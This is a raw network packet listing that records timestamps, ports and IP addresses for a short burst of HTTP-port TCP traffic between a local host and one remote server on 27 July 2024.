Jul 27, 2024 03:19:23.787507057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787518024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787528992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787543058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787552118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787570000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787581921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787589073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787604094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787609100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787620068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787626982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787643909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787658930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787724018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787734985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787749052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787759066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787769079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787776947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787789106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787800074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787810087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787817955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787827015 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787836075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787846088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787863016 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787870884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787888050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787893057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787903070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787914038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787924051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787933111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787940979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787950039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787956953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787966013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787974119 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.787983894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.787991047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788006067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788022041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788033009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788063049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788130999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788141966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788152933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788162947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788172007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788182974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788199902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788374901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788386106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788395882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788429976 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788851976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788862944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788873911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788889885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788901091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788907051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788913965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788924932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788937092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788940907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.788960934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.788976908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789082050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789093971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789122105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789148092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789164066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789180040 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789195061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789206982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789216042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789227009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789233923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789244890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789252996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789262056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789269924 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789278984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789309978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789328098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789339066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789347887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789355993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789364100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789374113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789380074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789390087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789397955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789410114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789417982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789427996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789438963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789448977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789458990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789469004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789475918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789486885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789494038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789515972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789554119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789565086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789575100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789586067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789602041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789609909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789617062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789625883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789637089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789653063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789660931 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789670944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789680958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789690971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789709091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789740086 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789757013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789766073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789783955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789791107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789800882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789808989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789819002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789824009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789830923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789840937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789854050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789860010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789870024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789875984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.789882898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.789904118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839343071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839364052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839375019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839387894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839402914 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839411974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839420080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839430094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839440107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839453936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839459896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839468002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839484930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839492083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839503050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839513063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839519978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839528084 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839535952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839550972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839555979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839579105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839586973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839597940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839607954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839615107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839624882 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839633942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839643955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839652061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839680910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839696884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839706898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839761972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839771986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839783907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839797020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839797020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839802980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839813948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839821100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839839935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839854002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839867115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.839884996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.839910030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.840002060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.840013027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.840023041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.840034962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.840042114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.840051889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.840059042 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.840066910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.840079069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.840085983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.840094090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.840101957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.840126991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.874851942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.874881983 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.874891996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.874938011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.874948025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.874958992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.874969959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.874977112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.874988079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.874994993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875009060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875014067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875036955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875051975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875068903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875077963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875088930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875099897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875108957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875118017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875133991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875140905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875149965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875159025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875173092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875179052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875194073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875207901 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875225067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875235081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875243902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875257015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875268936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875274897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875286102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875296116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875303984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875330925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875365019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875374079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875400066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875464916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875474930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875484943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875497103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875502110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875513077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875520945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875550985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875580072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875590086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875610113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875633955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875658989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875669956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875680923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875689030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875698090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875705957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875715971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875722885 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875736952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875751972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.875874996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.875906944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876405954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876437902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876446962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876451969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876487017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876514912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876524925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876537085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876545906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876568079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876624107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876633883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876645088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876657963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876679897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876687050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876696110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876707077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876714945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876724005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876738071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876750946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876758099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876758099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876770020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876804113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876812935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876833916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876842976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876852989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876864910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876873970 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876879930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876888990 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876904011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876910925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876916885 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876924992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876936913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876945972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876950979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876957893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876966000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876971960 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876981974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.876987934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.876995087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877001047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877017975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877022982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877029896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877037048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877047062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877064943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877064943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877082109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877118111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877125978 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877136946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877144098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877166033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877175093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877201080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877209902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877222061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877233028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877238989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877248049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877265930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877275944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877285004 CEST	80	49713	185.215.113.16	192.168.2.6
